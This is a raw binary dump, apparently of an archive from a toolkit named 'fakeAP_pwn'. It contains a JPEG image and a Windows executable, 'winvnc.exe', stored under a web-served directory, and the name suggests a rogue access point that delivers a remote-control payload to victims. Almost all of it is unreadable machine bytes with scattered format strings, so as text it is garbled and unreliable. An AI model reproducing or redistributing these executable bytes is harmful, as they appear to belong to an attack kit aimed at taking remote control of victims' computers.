XPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD000K0c00000011&1-121:1P1[111I2Y2_2h2222223383333344%4^4e4k4444444445)595h5l5p5t5x5|555|6666p777777848>8l8z8888889 9/9?9K9T9^9z999999999:::::: ;_;m;r;;;;;;;;<<2>>>*>0>:>@>K>Z>c>n>>>>>>>>>>?*?2?;?G?O?U?\?f?q?{?????????? | 000'0/050<0F0Q0[0e000000000000 111'1/151<1F1Q1[1e111111111111112222!262<2K2W2e2o2y222222222332373U3_3e3|333334444 5E5S5555566.63696?6k6p6z666667$7?7p7777$888888 999(9<9G9Z9u999>:E:W:n:t:z::::::::::::::;;9;E;K;n;u;;;;;;;y<<<<<<<<<<<<0?>?D?^?c?r?{???????????0p0 0000(0/0C0J0P0^0e0j0s0000000+1445(5b55z777778889.99::;$;9;D;(<<<1=I====@M0152[2z245555555555c6m6w6666667 77177777788!838=8D8^8h8~88888889 999;9999:/:::^:g:n:w::::;+;>;W;i;;;;<>5>d>j>>>>>>^?????P@0%0+070=0L0R0f0t0{0000000000000000001 1111"1.1D1O1T1_1d1o1t1111111122(2[2d2p2222223393333334W44444515S5a5p5555 66#6.6777788r8x88888889V9h9999999:::::;;;;;;;< <<5<<<<<d>q>|>>>>>>>>>3?z????????` 030Q0X0\0`0d0h0l0p0t00000061A1\1c1h1l1p1111111222 22Z2`2d2h2l2222344444455556N67v78288 9L9f: ;;;;(<><<<#===-><>B>\>m>x>>>>>>>>>??"?H?w?????pb0002+2e2r2|2222222233<3s333+4H4445555555556.676=6F6K6Z66666778T888B9Y9j99999;;< =}========>!>h>m>>>>>>>>?G?M???? 00!0&0>0D0S0Y0f00000000>1\1z1>3E3K33W4l44445L5555F6L6p66666 77788'8,80848]888888888889999 999999999 :=:D:H:L:P:T:X:\:`::::::;(;-;x;;;;=================>>>!>'>1>:>E>Q>V>f>k>q>w>>>> ??????? 0-0}0000?1J1w1111111111222$2?22N3v3333333444 5Y5555555636c6677J8999999999::,;.=@=R=o=======\11112222l333333344445;5E55556$677899;9[999 <1<7<<> > >(><>X>x>>>>>>?? ?>> >>>>> >$>(>8>@>D>H>L>P>T>X>\>`>d>p> ?$?fakeAP_pwn/www/Windows.jpg 777 0 0 6377 11437457046 11137 0JFIFHHC  !"$"$Cdd" <!12AQ"aqRbrS#BD3 !1AQaq"2BR ?(Ic):rJRaA#aIuB:P]T"#G~8X\iI9DIgkz8_ Uj$|Ly niB0hc}a<┧ugNUK|."w!~i;*^oHvVYti -<}EGhOH5)vimG\XF~. w~dUb52Hu%i# 6 KHKMޥ܊.vpn2=iJIOw5XϨumtYJih2^mTt6y[9r3|2>4VdaU0AQ^ER&If;)[ H ;/ފ'Kz+W*S |P+ﯵZ.5' Lu!֯u?sNM(7H'=NF@P Snd2%-h9~V VO G/.۝|ֽ3؛tJ׷{T}w6^R%3"n8h1֞fbd=(+v/,\Vԏh]S# n;(gG>EL]wos^<5n=EĞCOrT[g龖;ͼÎ4R(IU?k-lG;Yکxd&',ODlsZ36ҏ)WO'*!YQAa)R`I[@BY#̊-UUdI I)=>Z>t._.Л}˕RᤐETE=4m0qޤɢjVE cenjgkII?+cOS)6*᪮0mHDTH(9?{BzwSӏrw"XU\4ulyOU%ρ԰S-_jK栭𤍉:3~xJgLi֣6BX 'kfV{Z#yԟO*̯'|5L:(櫋2fĕJc?.pT@{ƍ5+05=qXprx#'֣]p[Lk[R./N2|YI(#wa=t6x[Xۿ7 qmn=V?;eۊG"۲FW*Β"KQQ;%i(jiJP6HB~U5ڂՏ>WF. JGַǹYVn!^kH-a7ՏJGu4r]:uD%$ܚfw[Ḯ(ѼT738#)޿q?uW: ]+H&BB Cp:?",أ֤] ;]Thojqյy.6Wvv #++*U'@5ۣ{__-s A`ֺTww[.Dl_ubáTmw~bg=Ȣ*ڇ.~o9Hy+%G*X4k-.ڇP\T;HDTkOQd @;)cf"6uEW0p^pSLޜ2"yyK֓]_(鱪gfl=WO7"H[l ݶDUu)(O+g NxKnJn"CCߚgoBcfvYu ̈2R1J A߬Ǻ_PJZ6H`'S%h iVԵidFǨ;3]][ZANq[0>,o$c$R0 sP#Jrs Ut((aˬ*G!>tX6 {vm)VuzBSӲ!@ #EQRW)$(HJVA (OKLyr#zT-!C3@V33ET1 S q="H4k᭎lf]n%J[Vifb֛tX,s_֊(K1(;7YQEL"(fakeAP_pwn/www/winvnc.exe 777 0 0 2170000 11437457046 11055 0MZ@ !L!This program cannot be run in DOS mode. $JHH񥆎GեGץ֏HHَHH򥅎RichPEL5I @ XP@  ,\cPH.text<@ `.rdatabPP@@.dataQP0P@.rsrc\cp@@L$vE$=vErQ 3Ҋq PQ PQQ 3Ҋ1 I ʉQQPQPPQPQPQ HQL$SUVq3΁333΁333ȁ3333333ȁ333ȁ᪪33WD$I3?? QE SE? UE? WE3Ƌ?RE? TE? VE? XE 33?? QE SE? UE? WE3Nj?RE? TE? VE? XE 3l$΋3%33ȋ3΁333΁333333‹T$3ȁ333ȁ3:_^3]J[ÝSUVD$D$ Wqыځ   8? ? ? qxыځ   x? ? ? qы8ڃ   8? ? ? qxыځ  ݃ 8?  ? ? 8l$:D$P*_^][Ą̋L$$1$PvED$L$v ́SUV$ W3PE2M PELTPE2M PELUPE2M PELVPE2M PELW8p3ɉL$D$ $d$L$$D$t PED$3MEy}TRT<8yT4}TST<8T4}TTT8T4}TUT 8T4|UEIJ8}LRL 8r8L<}LSL488L<}LTL88L<}LUL8L<8|3 $IPE|L$t 0PE PE|t 0PE PE|t 4PE PE|t 4PE PE|t 8PE PE|t 8PE PE|t L$~FN td^D$SVL$3PQ WD^0^4^^ ^^ ^ ^T$ R/D$Pj\hLWD;t2-LWDF(P'N(QhLWDPF$*V(F$^[̋D$Vt$ j:Pt+8:uP^Pd}^Ë^V~ lWDtNtj^ËN҅N^tjhř+W$Ǚ|$fst fTsfs|$E;|_^]ÁVWhYDj hwEw$ $ t$t Pa 6Q<uhXYDPhwE( _^Sj$TDT$RhjSPDu.PRDPhXDjhwESj|TD[_^USj|TD/3ۅ$ GLȃWO LʃO WL O ‹$ ft]O:Jt fL]fL];\$PhXDj hwE ][_^ËL$D$S\$$W|$ +|$$~5UVt$T$,P;sI)f,nf(;rυ^]_[QT$ JD$+D$ |$$S\$ LKZVt$ W|$ L$ LYD$ L$$~|UL$0 N;L$,sZJ J#J J#L$$fYL$f iJ J#L$(f Af^;t$,rD$L$4ɉL$4]_^[YËT$L$D$+T$W|$$~5SUVt$T$,P;s)f,nf(;r˅^][_̋T$JD$S\$LKZVt$W|$+D$(|$,L$LYL$ D$UL$,N;D$(sVJ J#J J#L$ fYL$f iJ J#L$$f Af^;t$(rD$0|$D$0]_^[̋T$L$D$+T$W|$$~CSUVt$T$,P;sI)f,nf(;r˅^][_̋T$JD$S\$LKZVt$+D$$|$(L$W|$LYL$~~D$UL$,N;D$(sRJ J#J J#L$ fYL$$f iJ J#L$f Af^;t$(rD$0|$D$0]_^[QS\$ UVW|$t$t PNP%3D$\$ IO wK#™K SO O#‹™K SO O#‹™K D$4K:Ot$t"L  3Ɋl$ щ;l$K_^][YUl$VE3~Vř+W$Ǚ|$D$t!% D 3d$ Љ|$E;|_^]́VWhYDj hwE$$$  t P QuhXYDPhwEx _^Sj$TDT$RhjSPDu.PRDPhXDjhwE2Sj|TD[_^Sj|TD$ Ul$+t$$GL+ȃWO L+ʃO W + O ‹$  3O:JƉD$tS% 3d$ ȉ l$>]hXDj hwE [_^̋L$D$S\$$W|$ +|$$~3UVt$T$,;sI),(;rυ^]_[QT$ JD$+D$ |$$S\$ LZVt$ W|$ L$ LD$ L$$~xUL$0 ;L$,sVJ J#J J#L$$L$ J J#L$( ^;t$,rD$L$4ɉL$4]_^[Y̋T$L$D$+T$W|$$~3SUVt$T$,;s),(;r˅^][_ËT$JD$S\$LZVt$W|$+D$(|$,L$LL$ ~|D$UL$,;D$(sRJ J#J J#L$ L$ J J#L$$ ^;t$(rD$0|$D$0]_^[̋T$L$D$+T$W|$$~ASUVt$T$,;sI),(;r˅^][_̋T$JD$S\$LZVt$+D$$|$(L$W|$LL$~zD$UL$,;D$(sNJ J#J J#L$ L$$ J J#L$ ^;t$(rD$0|$D$0]_^[̋D$ V0t$ W|$(~$S\$Ul$$VSU\$4 ][_^SUVW|$t Pt$FNVDPHV|$ No\LUL$O RPWFO RPSWFO RT$4PR(_^][SUVW|$t Pt$FNVDPnV|$ LhL$LQWL$3:VWQO RUGW\$$3:FFQO RPmOG\$43:NO RVPRJ(_^][SUVW|$t P t$FNV PnV|$ LL$LWL$3:VWQO RU]GW\$$3:FFQO RP:OG\$43:NO RVPR(_^][V=wEt>|$SRDWuӋ=wEVPׅ_[uPRDPh0ZDjhwE^̡wEVtЉ^^Q $ $3; wEYQ=wEuhZDjhwE YVW|$u=wEL$t$VhZDj hwE`jhZDVWjwE_^uPRDPhpZDjhwE.YáwEt̋3ɉH(H,H8H9H:H H$̃8SWjjjSPDuSh]DPhwE_3[8Vjjjjjjj jh\Dj hwED$8,D$Pj(L$QjhWD$(D$, D$0D$4(PDWPDuhX\DVhwE6 ^_3[8ËD$(RT$.QRPD$@PD$8QL$>RT$HQPD$DRQL$NRQPh[Dj hwED}Vh[DjhwE^_3[8D$"T$ ^C$_S [8VWjjjVPDuVhx^DPhwEX_3^SF(PjjjhWF0PDWPDSh(^DjhwE[_3^|$^8t'~,uh]DjhwE [_3^^9~,thX]Dj hwE F ;wu~$s 3F:[_^[_F:^V>WtNjjjVPDuVh_DPhwES%UjjF(PjhWPDWPD]Xh_Dj hwEF(=RD tPPh0_Dj hwEF,tPPh^Dj hwE_F8F9F:^̃ VW=XPDD$Ph`D3ht$ׅth`DVhwE _3^ ËT$S\$UL$QSRt$ ׋-\PDD$PՅtSh`DjhwEC][_3^ ËT$L$Qh`DRD$$ׅth@`DjhwE D$PՋD$][_^ QSVhZE!u^[YW=PPDhbDVhbDV׋D$=TPDjL$QjjhaDVD$$ׅt T$ RhaD)jD$PjjhaDVD$$ׅt"L$ QhXaDjhwEN_^3[YPaDTaDVC\PD_^[YVhZEBthaDVPPDV\PD^̃SUVt$<;t$@WL$|$<\$8l$4D$x:tP> uKNVF ˉL$N׉T$ V$ÉL$(ӉD$$F(L$T$QL$4T$ RD$ v1 r*w%NVWSĉN PVH͉P 4;t$Dh_^][S\$VWSLRD|$tWVTRDL$t_^[VHRDSWh(bDjhwE_^3[̃$PhbDhbDD$ D$uS\$VWhjSt$, jSQjT$Uk$L$ŋ:utP:Quu3t]L$ t+Ŋ:utP:Quu3t*jSRjT$ uD$]PHRD_^[ÃSUh\bDj hwE]D$PHRD_^[́TS$PL$L$ QhYE3hYE\$u)hYEhYEh4dDShwE23[TVhT$SRb D$PjSfD$Hf\$JTD$d;D$@t-pP+L$DH +D$@ T$H$$L$ $R$PQhdDj hwE\$0T$`D$\RPhcDj hwEp$$QRhcDj hwEO$@PhlcDj hwE3hZEi;u ^3[TW=PPDhbDVhbDV׋$d=TPDjT$RjShaDVL$$ׅt&D$ PhaDShwE_^3[TUjL$QjShaDVl$(ׅt T$RhXaD$jD$PjShXcDVl$(ׅt'L$Qh cDShwEM]_^3[TT$RhcDhbD\$  ;ÉD$tRDPTD;thSSTD;t WTD|$$u DŽ$ SjSD$,P$QT$(;tP$RhbDShwET$$+ъ :uUTDW TDV\PDT$RHRD]_^[T́LW$PL$QhYE3hYE|$du%hYEhYEh4dDWhwE_LVhT$WR' D$PjWfD$@f|$BTDhZED$<D$;jL$QjWhXcDV|$$TPDth`dDWhwEh SPPDUhaDVhaDVӍT$RhcDhbD|$% ;t{RDPTD;thWWTDt WTD|$$u DŽ$ jjjD$$P$QT$$STDW TDV\PDUHRD][^_LVN(F0W9;s:T$k4Rk4T RT$DL$ PD$QL$RPQx~0_^Sk4\$ Ul$ SRT$ DL$$PD$ UQRP?F(k4STL$RT$PD$(UPQR][~0_^́jjXt5D$PL$QhYEhYED$uĬÍD$PaDVjjjPPDt)WjjjjhVPDVPD_^Ĭ3^ĬVjjXtD$ L$PQ^T$R^VjjW^tVX^S\$ Ul$ V3W+D$x$u+;}.|jh ZE@SS _^][Vj Sjh ZE D$VPF^VWjP|$3>|_^̃Ul$VWD$ 3+ōp$u+;} D D |͍D$ jPmt$ VV)u_^]VN`W3;t;NXtP ҋN`;tj҉~`Nh;t;NXtP ҋNh;tj҉~hNp;t;NXtP ҋNp;tj҉~pNX;t"P ҋNX;tj҉~X~`~h~pF;t PY~~~_^Q(D$I*@PH ̋A̋IXuhdDjhwEh 3k_̋IX@̃VWPL$ QNTeNTPVNTRPu|$NTWte_^djh|$2L$HT$8I2;1uste2+uEtJ2+u.t32+ut2+t\$ \$3O\PB4ЋO\B0jjL$QOTD$t"ōPu+PjUUTÍPu+PjSlS*_^]3[L$Hd ThkDjhwE jL$QOTD$3B hjDЅt"ōPu+PjUU趹ÍPu+PjSS芹_^]3[L$Hd TÅt'ōPIu+PjUUJt"ÍPu+PjSfS$L$X_^][d TQVNTjD$ P|$u6~du0NXЃs;hxkDj hwE襱NXB ЋNXW9N\BTЋNXWP_^YËNXЃvыNXBЅvh8kDjhwEJ 3^ÝSVWOX3҅TGHTO\PD҅TmD XmDHmDD$ LmDL$$ DPd%SU3ɸW Q菪3;tM$hSOu Sg_][L$d VΉt$M,jD$P|$4D$f|$fD$ u-S D$,^_]3[L$d ÍsNffT$VffL$fjL$ QM,fD$(bt@rS茩L$D$,&^_][L$d SZL$D$,L$$^_]3[d VF,N$PF`ZuN,QN$Fdg^øFd^̃ Q}q|3AhfD$fD$j D$fT$I,PD$fT$ Y ̃,VN(WT$$RЋL$PT$HL$P ωT$ ?4D$P؟39uG_F@^,9|$8D$L$++L$ff3ЋD$ fT$ ++ff3jD$hޱQPVW=DRDt Pdž׍Q RDtRdž_^̋D$VPCgD^jhf=DdPd%QSVt$mDhnDj hwED$ 胛F03ۃ ;t P腢^0F4;t Pr^49^,t&hnDj hwEBN, ;tj҉^,9^$t0WhtnDj hwE~$ ;tW胚^$_D$D$D$\$D$֙L$ ^[d djh;>DPD$d%VL$WF(N,4tPhnDӹN,F0UtPhnD费fL$,jhF4fN |$(D$tjj. mD3ɅD$N8u3L$d _^ D$$R PD$$PF,PF(PVҋL$_d ^ VXN,^tkjhX>DdPd%V~<t$P<҅P@҅WL$g|$(D$ Pu+S؋UPu+‹ȋǍpu+ƋǍhu+ Ƌt$  D$jD$Pj][tǍPuN,+PWu BЋL$D$ _L$^d QVWh D$ dž$ 蹟$jD$ PQWR RDD$tHuDPQhnDjhwE迗RDRD_dž^YWPhW4PxEjVP$_^YUjh>DdPd%SUVWM\PTҋPBLPhwDjhwERDPTDMTh0u$zuPRDPhvDjhwEޖMX1M\BL`ЋMXPҋEP҅u EX0EP҅tEP4ҋM\EX0BLdЋMXPҋMXiMTPhvDj hwEuL$(ԈL$(ӈL$(踈D8PD$HT$L3L$8L$(S腈L$(q3Ɋ fKL$(nL$(SL$(OL$(4% ƍL$(fCfC3VL$,衇%VL$,D$(莇 |$$VL$,xVL$,D$(g% D$$V ǍL$,D{%VL$,D$(h |$$VL$,RVL$,D$(A% D$$V ǍL$,D Ն|$4uT$4xu+ǍTL$(T$4;u\Ήt$8D$DMTPSƄ$ Ƅ$L$(DŽ$G $PHufrD rDfjH׍$R$TPQDD$$PRDV׃|$$\$$$rD$3zrD$3tc$$R-ahQ(QP蘔$D$8tjj$ QD$uR$R$ PL$4[$QSQDTSRD3;u\Ήt$8T$MTjD$pʀPƄ$D$tf|$vf|$xf|$zT$ukVƄ$GL$(DŽ$c MXЅ M\BDЅ jL$QMTX\ hPrDj hwE菂fT$D$ ffT$ȋ ʋ%  ʉL$MTuMD$Pj,rD$p󥍄$pfPu$pQM\+PfD$f=RvLj rD$󥍄$fPIu$QM\+P4V$TPBL$$PƄ PRE\$P$ uj׋؍$P$TQQDPRDS׍$PRhqDjhwE$$P$VRD$$u\PQRۉuM\R[jjhjjjh$hP(RDM\V׋U\ǀM\VRDqD$T󥍄$TPd$u$TQM\+PMXЅM\BDЅjL$QMTy}hhqDj hwEfT$D$ ffT$ȋ ʋ%  ʉL$?MTuMD$Pj ,rD$L󥍄$LfPu$LQM\+PfD$f=RvMjDqD$f$PIu$QM\+PtvE\PaL$U\ƄE\PM\QhqDjhwEv~U\ShjSjh@R(RDM\ U\ǂE\ qDqD qD$fqD$qD$ qDf$$$$PIu$QM\+PdfMXЅ{M\BDЅijL$QMT)-hpDj hwE`}fT$fD$ fffT$fD$ fD$ulf9\$u f;ujQMTS,rD$(󥍄$(fP$uM\+$(RPM\f9\$f;MTj$PQ$u\% ‹с $ QPΉ$$RPʋ QRRDuhpDj hwE-| E\ QDRDU\E\PhxpDjhwE{Q荃T$MTRV|$tTVg DpD$ f$ Pu$QM\+P4M\<.D$M\ST$xR PVR@RDVD$9D$tu;4pD0pD ,pD$@pD$DdPd%QVWt$mD~\D$tWvD$L$ _^d VD$t Vv^̃SVW|$ toG0;utNL$ V T$FD$NT$ L$RhtJG0;u:;wtNNVHvGu_^[_^3[Ujh8?DdPd%DSV3ۋ9We]t"9^@tjMd _^[]ÍMJME:Eĉ]ȍMExJ9^hEt~EPSDu]]N(EPҋE}̋M]++˅}3 U+;|B}3 U+;|J;F|u;u Fh F|3ۍMs9t,sWM쉞ss9PMs9^d9^`9^TuAMuIFDPMEsMQMs9]tFTMEs9^TtzN(EPҋTDP~DWWӅt WMsN$EPPWHOP N(W URPWWӅt WM[sFT3ۍrMQM]tUċ:]ۋEĉEtM;tv;}ud;{uZN$GPZuoE]䍾ω}f׊jEPjEfUEMErMMElr3E;{u΅?;}w]~`t~htttvqEMErMmMEqM_^3d []Ã~`t!2~htLt'QRdžEPYhPwDjhwEr jjjhhBDdPd%QSV񍞐ˉ\$~<D$twtnN$vF`u(uuu9Fhu 9FTt:9u2tdžHtD$L$ ^[d V誱t$;w蝱;u 褱;D$ s3^ø^ktr;D$uw;D$u3j jujPTD3Ƀjh>DdPd%QVjjt$ N\D$LxDL$Ft^d djhc?DPd%D$VL$Wj$FTNXF|oD$D$t V\R=3D$Ftw~\ω|$~|D$uNtS~|tD$FxL$_d ^ jhhBDdPd%QVW~\ω|$D$NtD$F|FxD$kL$ _^d jh{?DdPd%QVWN~ ~$~(~,~_^d V~$tF P"F$^蛰tjگ́S$hD$PSlTDt#VW`xDt$ 3_^u RRjSSD[́$PD$QDtshxDj hwEsmD$ t]uQVhPPhxDSDt7hxxDj hwE8m jh`@VSDV TDjjjjSD^Ĕjh`xDSDtjjjPSDĔ̃`VSh3bl;ÉuhyDj hwEl [^`PjSTDu,hyDj hwEzlPk[^`ËHxPhWQHpRPlQRhPyDj hwE7lHlPpD$ PhSh8yDh\$ HPD|$ ;UjPL$$SQD$$P+z T$RD$$PL$QSh,yDW=LPD׽9l$T$ R_tD$ PJtjPT$(SRAlyD$PD$L$$QT$RSh yDP׍L$ Q tBp9l$uGHp;v:@lQPhxDj hwEk=SDjQׅu URD$P\PD;]uQZj_[^`V^VtSHlW=SDBpjQׅu jR׋Pidž_^̃VN҅Nt<D$PPTDD$L$T$L$ PT$HP ^ҋNtt$Vҋ^҅t1STDUW3W3jӋȋD$$0x_h][H ^NTD$VXPN\HV`P ^VWj j%=TDt)jL׋t$ jMjNFjOFF_F ^Ët$ jFjF׉F _^̃V~4u j$TDF4^u#PRDPhDzDjhwEh3$PHL$PQPQ@ A VW~TWtmF`N\VXPQRPh$}Dj hwEOhN`+NXV\+QRh|Dj hwE1hF40PPDF0u PRDPh|DjhwEh_3^ËN4SPDj&QӨu_EjRhP|DjTD[_3^ËF0j&Pӄx _EjQh{DjTD[_3^ËV`+VXF\+N4RPQPDF8u!PRDPh{DjhwEpg[_3^Uht{Dj hwEUgV8F0-PD j~hWjjjRP(fFvՅN8V0jWjjjQRՅtphL{Dj hwEfF4 jPPh{Dj hwEfN0jQPhzDj hwEfV0jRӃt_EjPhpzDjTD][_3^ËFpN03+j&QFp][Fd_^SV3ۋ9^dW{uFv+ttu{FpFlfFv KN|VxQNtRQPRh`}Dj hwEeFpFl fFv^d3+‰F|^xf~t_^[AdfQ\f+QTfA`f+AXffAv™ƁSك{d'Vhluh~DPhwEe ^3[ÍFPhffFK4jQPDuh~DPhwEdVl^3[WVPDuhp~DPhwEdVSl_^3[ËS0UjWRPDu'hD~DPhwEdV lWPD]_^3[ËC0PPDuh ~DjhwEMd VkUPDh}Dj hwE)d ]_^[h}Dj hwE d [djh?DPd%VhDj hwEcD$ hjFLTDhLcD$D$ t 3D$ uL$d ^ NFR QVҋL$d ^ ̋A jjhPSD̋D$PPP PH̃V񃾼D$PSDtzWL$QRSDt,D$)D$L$D$)L$ =PDtP׋D$ tP׋T$D$ =TDj D$jD$ _^jh?DdPd%SUVu<Ήt$ %D$0L$,U4PQRPD؅ۉ\$u%D$^]3[L$d E0W=PDSP׋u/SPDL$D$ _^]3[L$d L$,U0jjjjjQjjRSDE0VPh,jSw؋D$8uh t$<|$0CPjWKKoU0jSW|$ VjWRPDSgWPDL$3D$ L$_^][d ̋D$PPH ̋D$uS\$ UVWj S3ctQI;t +SUl$/P` ~ t l$/ / nj Uocu\$ÍPu+‹T$+ōLQUW_ _^][̋A PSDtYSDtOW|$ǍPu+VLQh PDt!VPDWPV`QDVjSD^_SDQUl$V;SNDdPd%SUVW~<ω|$脽D$,uF8N0-PDPQՋ؅u+FX+NTjjjjjRV0PQRSDF0SPՋND$PҍD$PWWTDt'L$4QOĉWHO PH bL$D$,ѼL$$_^]d [ ̃W|$ jW,TDwEVPWSDWSDL$QWTDt\T$ΉD$;‹D$L$ u;tJwE PRWSDD$PL$QL$0^_wERWSD^_wEPWSD^_tӍL$QWTDtT$D$ wE RQWSD^_Qh@SDSVt$ jV,TD؋D$=~td=qD$tBtP^3[K҅j]^3[^C3[^ǃ3[s SD;;{ C UP3SDjSDtVPDt PlV`QDSDtcōPd$u+WGPT33Ʌ~)< t2;|U2SKBxVVS_][jjhSdTD^[ȁ t?tL$T$QRPVDTD^[uPSDKP|^3[CL$;uD$C^3[tT$RQh PdTD^3[@T$HBV2+ƃ L$ B +B  ^@T$+qTSZUW+AX|$<B ;|$4l$8t$[^ \$ ߉|$(l$ ;|$,l$|D$D$*D$LB;D$M L$0 t$;}+D$<;t$D$$}3IL$$QSWga T$;t$|҃|$uL$TD$@PQL$ l$PD$D$$\$(|$,L$0T$XB ;\$(|$,L$0W|$u ‹HD$TT$@RL$LL$PT$XL$|$4l$8t$D$ B ;|$4l$8t$_][^@;t$.|$tl$@D$t$D8;t$D.t$D%djh?DPd%V0t5jjt%N҅t&hDjhwEI 3^L$d SWN؅thDj hwEWI Nҋ3j<#HD$ D$(t r3D$(F,u hPDjjt(N,thDj hwEHN, L$QN,T$RWlN,qu!hDj hwEHjjujN,Wrt+h|Dj hwEaH _[^L$d Ë~,tYWGF,hMOEGM Ή]UEdžu1hDjhwE>NB 3Md _^[]ËhuhLDMUQRPhDj hwE=QRPhDj hwE=Mr;ut]+uEtF+u.t/+ut+tҸ3thDj hwE< NЍNTQ<NB|ЋNEPҍEPhFTPMQRTDEPMQTD}ċNĉ8}ȉx}̉x}Љx ЋM̋U+M+U2;uEЋM+E+M;tNPҍ:`N҅KE+Eu M+M7UR;N3;t&PMQEF,;t 8X8tP( H0N;M4N,;Et$y8tFXURVTPRPV]p9^t Ή^N;uN;tF,;tx:u9NBpSWSWdžQWZWUR ++Љ]EEMPˉU9W9:M!ME8MQM9U썾RH9M3ۉE؉]܍EPE;MQURNPtҋN@lURЋ8MTME9M] 9N;uN;t vBdЋM_^d []hpDjhwE9MIB иg@UhSUVWRDPTD|$yau jaNXNXu%wWyPj3_^][]D$URh$<PL$BQ҅uhhXDɔ_^][(MT$8PЋL$(T$,P QRD$$P$LhxDQ=$8hDR=$8Pu+P$<PCthDj hwE0 _^][(Vt$>t/PUcu<_t <.t<+u >u׸^3^SUl$VEWP7\$jL$ Qˋ3t+D$:D$t1>U;t$jD$ P軑uW7_^]3[ >_^][ ̋D$T$AXD$ Q\A`ATo VNDF0^jh[DDdPd%VWt$D~D$F0t"@TN0D$ PݠF0D$@L$_^d ́P$XSUVW$dl$D$$j&WX2؃u1ǍPu+=8T$+׊ u$+VL$ WQ. D4T$j=R1ƍPu+D$PsVcVL$ Q$hDR:D$ L(;$lq$эd$u$h+ʋу$OuʋT$l$t l${_^][P _^]3[P djhFDPd%WhDj hwE$- TVO\jdD$ Ptu|$tdhXDjhwE,j`,t$ D$tjjȏD3ɅD$tG`R PGXPD$P҃Tx^h$Dj hwEv,L$ 3_d VD$t V+^djh{DDPd%D$SUVW_ˉG,tu3L$d _^][ l$ U jЋO,PQ誐tƋ蟇tjdV+t$$3;L$tjQǜD΅D$O0tD$(R PUSҋL$_^]d [ ̋VhDjjQD^uPRD3=̋PDRD%PRDQVPlSDfxVN SW~\$ t jjWjQpSDT$PR TDPhؐDj hwE*_F[^YQVPlSDfyYN SW~Ɉ\$ t jjWjQpSDT$PR TDPhDj hwE*_F [^YQSV~WtV~N Ɉ\$ t jjWjPpSDL$PQ TDRhDj hwE)_^[YÀ~ tNN Ɋ~\$ t jjWjPpSDL$PQ TDRhؐDj hwE])_^[YS\$U-lSDVWWՋt$tuyPDHDtiHDPDQPWhDj hwE(jVjWpSDPS TDWթHDuPDPWhDj hwE(_^][ ijtJh;jh/jh#jhjh jh0jjjjjVW|$ t;t:F3;G_^̋T$Vp2p~uVrpI;Q^u APBJ;Qu APBPB̋D$yud$yt̋D$HyuIHytV>u9Fxt^9Hyuxu IȋxtN^Ë@xuN;HuFЋBxtF^V>uw9Fxt@Fxte^\9yu Axu$ȋAxtN^Ë@xu$N;uFЋBxtNyt^9F^̋L$ w3Q% Ã3sD$PL$D$5hEL$QD$gD8̋T$BV0r0~uVrpI;Q^u ABJ;u BABS\$V9^Ws[IF|$+;svUNUnr UT$l$rU+PD$P+QRXF+ǃ~Frm(]_^[Ujh@DdPd% ESVWe}v"_;s+;w4NjQEUE*EeEjPE5E@Ë}u] v rGGSPEVRP8Wr OQ#MGw_rM_^d []u~r VR}#jFFjF6jk#tHtHt@@j+#t.L$T$L$ HL$PP IT$HP@SVW|$ًuFP6W"~t_^[V~r FP"3FFF^̃y$rAÍA̋QBxVW|$ u79p s@ЋxtA;ЉT$ L$t 7;r rL$ L$D$L$D$I_H^S\$Ul$9kVWsF{D$+;s;ujWUj_^][ vEF;sFPWvf{r/S-u~rF_^][ F_^][ SN^rWRQPT~~r;_^][ SUVN^rËl$;r1rËV;vrD$P+UV^][W|$vDF;sNQWvCNru~r_^][WUQPS~~r;_^][jh@DdPd%QVt$/3N XDjAAPD$AD$ PL$^d VXD~$r FP3F$F ΈF/D$t V^VXD~$r FPl3F$F F^/̋T$VWFFFxu+PR _^djh@DPd%D$HxUVtLj3hxDL$D$,t$(D$D$ PL$,t$\uhEL$,QD$0pD1SWL$l\$xt{Szt L$p;ˋyuksuwE9Xux 9u>~];D$ut W ]L$9KurtƉCeWCWH;Kuquw>CASJE9XuHC9uHCASAQCD$8XM;y8_;ucFxuXVFFxur8ZuH8Yt_H8YuZP@FNH^PV͈ZqxuXVFxuP8Zu8Yu@U;zvM.8YuZP@@NH^V͈Z(_D$PE_[vEL$dD$`T$hL$P^P]d T jh@DdPd%QVW|$Wt$ ,3jN XDG RAQPT$ Q L$ _^d ̋D$VPpD^̃SUVW|$ F(t;t.\$$;uYD$(nt;t.9l$,u?NQRF@FFF@FD$_0^]H[t;|$(tU.;\$,t!L$ RSWT$R\$$|$ ʋD$8_^]X[̋D$VPdD^djh@DPd%DVWrLj3hDL$D$(t$$D$D$PL$(t$XFh$EL$(QD$,dD-T$hGt$dSUjRPVP7G_;uhG(Oi"|$ht .G;0u(nG;puhUzEQ; uQRzuYZJAr;qu VFFXNQBFHQ({zuYZJAr];1u VFXNQBF@HPzuBPQW;BuJP;u JHNyFWBL$TXD$dh][8_^d P̃ Ul$VWwFxL$ u U;P ɈL$ t@xtɋ։T$|$t=G;0L$u)UVjQȋD$I_^H@] T$B ;EsL$ UVQT$R뽋D$L$_^P@] ̃ V~Wu!D$$N|$PQjW,_^ V:Ul$ t;t*S\$(;u+|$,;C 8W|$$SjW[]_^ ~t;t*;ߋ|$,u-NAP ;W|$$PjW[]_^ 9C v[L$$l$$\$(L$(9A shtDjhwE $D PUWSDTDL$hQ`T$RpWhDDj hwE ύD$:utP:Quu3hDj hwE> D$$׋ȃ +ѐ u-BPjN6F$4c0$DAhDj hwE jjjNCqhDj hwE jjjNCJj D$DŽ$$t Q3DŽ$$0!B jhGQLSDtjjjjhGQPSDj].jjjSSDtVRtljjjTSSDBP$8PUWSDTDjQTSD$8=ubuhDWhwE/ }jjWXSDT$RSDPTDT$D$jQjRPjW\SD7=,jjW`SDPhQdTD -;=uD$P|PD^L$WQ|PDjWPPPDuWPD_^̋D$D$D$ T$T$T$D$PW?t/D$VP|PDjVPPPDuVPD^_jtL$HtT$HtT$ V21rqrqR Q ^ dT$jh@DPd%ADV+;^sQjhDL$D$ D$D$ $PL$ D$Ph$EL$ QD$$dD‰AL$Dd PQSًu[YUVW=xPDjjP׋Vu_^][YUVPׅ\$tW}D$vIM L$d$S2D$NPQVjˋD$D$~W:;ED$rU_39C^][Y̋D$T$AD$ Q T$A$Q(̋D$̋D$̋̋T$ @jjRT$RT$R fD$f=w ,3jhhBDdPd%QVW0ω|$jL$P4QD$҅t/ȋBLЋϋD$j_^L$d D$jL$ _3^d jhhBDdPd%QVWHω|$5jND$t衙D$"jL$ _^d 